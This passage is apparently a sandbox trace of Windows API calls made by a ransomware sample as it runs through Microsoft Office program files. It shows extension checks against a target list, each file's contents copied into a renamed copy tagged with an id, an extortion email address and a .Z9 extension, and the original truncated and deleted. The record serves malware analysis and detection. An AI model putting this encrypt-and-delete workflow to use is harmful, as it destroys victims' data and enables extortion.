	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.791] lstrlenW (lpString=".1cd") returned 4
	[0168.791] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0168.791] lstrlenW (lpString=".jpg") returned 4
	[0168.791] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0168.791] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0168.791] lstrlenW (lpString="Riblet.eftx") returned 11
	[0168.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.075] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=295074) returned 1
	[0169.075] CloseHandle (hObject=0x4a8) returned 1
	[0169.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220
	[0169.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.766] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.767] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.875] GetLastError () returned 0x0
	[0169.875] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x480a2, lpOverlapped=0x0) returned 1
	[0169.885] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x480b0, lpOverlapped=0x0) returned 1
	[0169.891] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.891] WriteFile (in: hFile=0x530, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xea, lpOverlapped=0x0) returned 1
	[0169.891] SetEndOfFile (hFile=0x530) returned 1
	[0169.891] CloseHandle (hObject=0x530) returned 1
	[0169.892] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.892] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.901] CloseHandle (hObject=0x4a8) returned 1
	[0169.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1
	[0169.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.902] lstrlenW (lpString=".doc") returned 4
	[0169.902] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.902] lstrlenW (lpString=".docx") returned 5
	[0169.902] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.902] lstrlenW (lpString=".pdf") returned 4
	[0169.902] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.902] lstrlenW (lpString=".xls") returned 4
	[0169.902] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.902] lstrlenW (lpString=".xlsx") returned 5
	[0169.902] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.902] lstrlenW (lpString=".ppt") returned 4
	[0169.902] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.902] lstrlenW (lpString=".zip") returned 4
	[0169.903] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString=".rar") returned 4
	[0169.903] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString=".bz2") returned 4
	[0169.903] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString=".7z") returned 3
	[0169.903] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.903] lstrlenW (lpString=".dbf") returned 4
	[0169.903] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.903] lstrlenW (lpString=".1cd") returned 4
	[0169.903] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.903] lstrlenW (lpString=".jpg") returned 4
	[0169.903] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.903] lstrlenW (lpString=".doc") returned 4
	[0169.903] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0169.903] lstrlenW (lpString=".docx") returned 5
	[0169.904] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0169.904] lstrlenW (lpString=".pdf") returned 4
	[0169.904] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString=".xls") returned 4
	[0169.904] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString=".xlsx") returned 5
	[0169.904] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0169.904] lstrlenW (lpString=".ppt") returned 4
	[0169.904] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.904] lstrlenW (lpString=".zip") returned 4
	[0169.904] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString=".rar") returned 4
	[0169.904] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString=".bz2") returned 4
	[0169.904] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString=".7z") returned 3
	[0169.904] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.904] lstrlenW (lpString=".dbf") returned 4
	[0169.904] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0169.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.904] lstrlenW (lpString=".1cd") returned 4
	[0169.904] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0169.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83
	[0169.905] lstrlenW (lpString=".jpg") returned 4
	[0169.905] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0169.905] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.905] lstrlenW (lpString="concrt140.dll") returned 13
	[0169.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.908] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=243520) returned 1
	[0169.908] CloseHandle (hObject=0x4a8) returned 1
	[0169.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220
	[0169.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.909] lstrlenW (lpString=".doc") returned 4
	[0169.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.909] lstrlenW (lpString=".docx") returned 5
	[0169.909] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.909] lstrlenW (lpString=".pdf") returned 4
	[0169.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.909] lstrlenW (lpString=".xls") returned 4
	[0169.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.909] lstrlenW (lpString=".xlsx") returned 5
	[0169.909] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.909] lstrlenW (lpString=".ppt") returned 4
	[0169.909] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.909] lstrlenW (lpString=".zip") returned 4
	[0169.909] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.998] lstrlenW (lpString=".rar") returned 4
	[0169.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".bz2") returned 4
	[0169.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.999] lstrlenW (lpString=".7z") returned 3
	[0169.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString=".dbf") returned 4
	[0169.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString=".1cd") returned 4
	[0169.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString=".jpg") returned 4
	[0169.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString=".doc") returned 4
	[0169.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".docx") returned 5
	[0169.999] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.999] lstrlenW (lpString=".pdf") returned 4
	[0169.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".xls") returned 4
	[0169.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".xlsx") returned 5
	[0169.999] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.999] lstrlenW (lpString=".ppt") returned 4
	[0169.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0169.999] lstrlenW (lpString=".zip") returned 4
	[0169.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".rar") returned 4
	[0169.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.999] lstrlenW (lpString=".bz2") returned 4
	[0169.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.000] lstrlenW (lpString=".7z") returned 3
	[0170.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0170.000] lstrlenW (lpString=".dbf") returned 4
	[0170.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0170.000] lstrlenW (lpString=".1cd") returned 4
	[0170.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62
	[0170.000] lstrlenW (lpString=".jpg") returned 4
	[0170.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.000] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0170.000] lstrlenW (lpString="Flattener.exe") returned 13
	[0170.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.221] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=45664) returned 1
	[0170.221] CloseHandle (hObject=0x538) returned 1
	[0170.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220
	[0170.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.449] lstrlenW (lpString=".doc") returned 4
	[0170.450] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0170.450] lstrlenW (lpString=".docx") returned 5
	[0170.450] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0170.450] lstrlenW (lpString=".pdf") returned 4
	[0170.450] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0170.450] lstrlenW (lpString=".xls") returned 4
	[0170.451] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0170.451] lstrlenW (lpString=".xlsx") returned 5
	[0170.451] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0170.451] lstrlenW (lpString=".ppt") returned 4
	[0170.451] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0170.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.454] lstrlenW (lpString=".zip") returned 4
	[0170.454] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0170.454] lstrlenW (lpString=".rar") returned 4
	[0170.454] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0170.454] lstrlenW (lpString=".bz2") returned 4
	[0170.454] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0170.454] lstrlenW (lpString=".7z") returned 3
	[0170.454] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0170.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.460] lstrlenW (lpString=".dbf") returned 4
	[0170.460] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0170.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.460] lstrlenW (lpString=".1cd") returned 4
	[0170.461] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0170.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.461] lstrlenW (lpString=".jpg") returned 4
	[0170.461] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.464] lstrlenW (lpString=".doc") returned 4
	[0170.464] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0170.464] lstrlenW (lpString=".docx") returned 5
	[0170.465] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0170.465] lstrlenW (lpString=".pdf") returned 4
	[0170.465] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0170.465] lstrlenW (lpString=".xls") returned 4
	[0170.466] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0170.466] lstrlenW (lpString=".xlsx") returned 5
	[0170.466] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0170.466] lstrlenW (lpString=".ppt") returned 4
	[0170.467] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0170.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.467] lstrlenW (lpString=".zip") returned 4
	[0170.468] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0170.468] lstrlenW (lpString=".rar") returned 4
	[0170.468] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0170.468] lstrlenW (lpString=".bz2") returned 4
	[0170.469] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0170.469] lstrlenW (lpString=".7z") returned 3
	[0170.469] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0170.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.471] lstrlenW (lpString=".dbf") returned 4
	[0170.471] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.471] lstrlenW (lpString=".1cd") returned 4
	[0170.471] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0170.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62
	[0170.472] lstrlenW (lpString=".jpg") returned 4
	[0170.473] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0170.474] lstrcmpiW (lpString1=".msp", lpString2=".Z9") returned -1
	[0170.474] lstrlenW (lpString="QFE31928.msp") returned 12
	[0170.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.510] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=25876480) returned 1
	[0170.511] CloseHandle (hObject=0x4a4) returned 1
	[0170.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp")) returned 0x220
	[0170.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString=".doc") returned 4
	[0170.997] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1
	[0170.997] lstrlenW (lpString=".docx") returned 5
	[0170.997] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1
	[0170.997] lstrlenW (lpString=".pdf") returned 4
	[0170.997] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1
	[0170.997] lstrlenW (lpString=".xls") returned 4
	[0170.997] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1
	[0170.997] lstrlenW (lpString=".xlsx") returned 5
	[0170.997] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1
	[0170.997] lstrlenW (lpString=".ppt") returned 4
	[0170.997] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString=".zip") returned 4
	[0170.997] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1
	[0170.997] lstrlenW (lpString=".rar") returned 4
	[0170.997] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1
	[0170.997] lstrlenW (lpString=".bz2") returned 4
	[0170.997] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1
	[0170.997] lstrlenW (lpString=".7z") returned 3
	[0170.997] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString=".dbf") returned 4
	[0170.997] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString=".1cd") returned 4
	[0170.997] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1
	[0170.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.997] lstrlenW (lpString=".jpg") returned 4
	[0170.998] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1
	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString=".doc") returned 4
	[0170.998] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1
	[0170.998] lstrlenW (lpString=".docx") returned 5
	[0170.998] lstrcmpiW (lpString1=".docx", lpString2="8.msp") returned -1
	[0170.998] lstrlenW (lpString=".pdf") returned 4
	[0170.998] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1
	[0170.998] lstrlenW (lpString=".xls") returned 4
	[0170.998] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1
	[0170.998] lstrlenW (lpString=".xlsx") returned 5
	[0170.998] lstrcmpiW (lpString1=".xlsx", lpString2="8.msp") returned -1
	[0170.998] lstrlenW (lpString=".ppt") returned 4
	[0170.998] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1
	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString=".zip") returned 4
	[0170.998] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1
	[0170.998] lstrlenW (lpString=".rar") returned 4
	[0170.998] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1
	[0170.998] lstrlenW (lpString=".bz2") returned 4
	[0170.998] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1
	[0170.998] lstrlenW (lpString=".7z") returned 3
	[0170.998] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1
	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString=".dbf") returned 4
	[0170.998] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1
	[0170.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp") returned 63
	[0170.998] lstrlenW (lpString=".1cd") returned 4
	[0170.998] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1
